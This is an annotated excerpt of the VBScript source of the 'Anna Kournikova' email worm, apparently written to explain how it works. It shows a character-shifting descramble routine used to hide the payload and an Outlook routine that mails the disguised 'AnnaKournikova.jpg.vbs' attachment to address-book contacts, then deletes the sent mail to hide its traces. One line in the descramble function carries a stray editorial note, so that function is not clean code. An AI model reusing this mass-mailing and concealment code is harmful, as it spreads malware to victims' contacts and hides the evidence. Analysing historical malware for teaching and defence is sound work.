'Part of the Cipher Text has been deleted in order to prevent copycat attacks.
'What is in Script is actually seen by everyone who has the virus.
Function descramble(input)
For I = 1 To Len(input) Step 2
firstletter= Mid(input, I, 1)
secondletter= Mid(input, I + 1, 1)

If Asc(firstletter) = 15 Then deleteme <-The green line and this blue must be deleted..If you delete these lines the source code is right.
firstletter= Chr(10)
ElseIf Asc(firstletter) = 16 Then
firstletter = Chr(13)
ElseIf Asc(firstletter) = 17 Then
firstletter = Chr(32)
Else
firstletter = Chr(Asc(firstletter) - 2)
End If

If secondletter<> "" Then
If Asc(secondletter) = 15 Then
secondletter= Chr(10)
ElseIf Asc(secondletter) = 16 Then
secondletter= Chr(13)
ElseIf Asc(secondletter) = 17 Then
secondletter= Chr(32)
Else
secondletter= Chr(Asc(secondletter) - 2)
End If
End If

descramble = descramble & secondletter & firstletter
Next

End Function
'Vbswg 1.50b

Set Outlook_Object = CreateObject("Outlook.Application")
' comments by me:
' Now we can access Microsoft Outlook functions
' by using the Outlook_Object we created.

Set New_Mail_Object = Outlook_Object.CreateItem(0)
' A new object is created.
' It is a new email with some attributes we can just fill
' with information (like "Single_AddressBook_Entry.Adress" which
' is the email-address of one of the entries in the address book.
' We extracted this from the address book earlier, and we are taking
' one entry after another:

New_Mail_Object.To = Single_AddressBook_Entry.Address
New_Mail_Object.Subject = "Here you have, ;o)"
New_Mail_Object.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
' So with this three lines we have created the textbody and
' addressed that email.

set Attachement=New_Mail_Object.Attachments
Attachement.Add File_Anna_JPG_VBS.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
' We have now created an attachment space in our new email and
' added the file "AnnaKournikova.jpg.vbs" which has been
' created by the code earlier by just copying itself to hard disk.

New_Mail_Object.DeleteAfterSubmit = True
' To leave no traces in the victims out-box the email will be deleted
' after it was sent to the receipient.

If New_Mail_Object.To <> "" Then New_Mail_Object.Send
' If we actually found a valid email address in the address books
' (there might not be an email stored for everyone in your windows
' address books) the mail will be sent and then deleted from the
' outbox as requested before.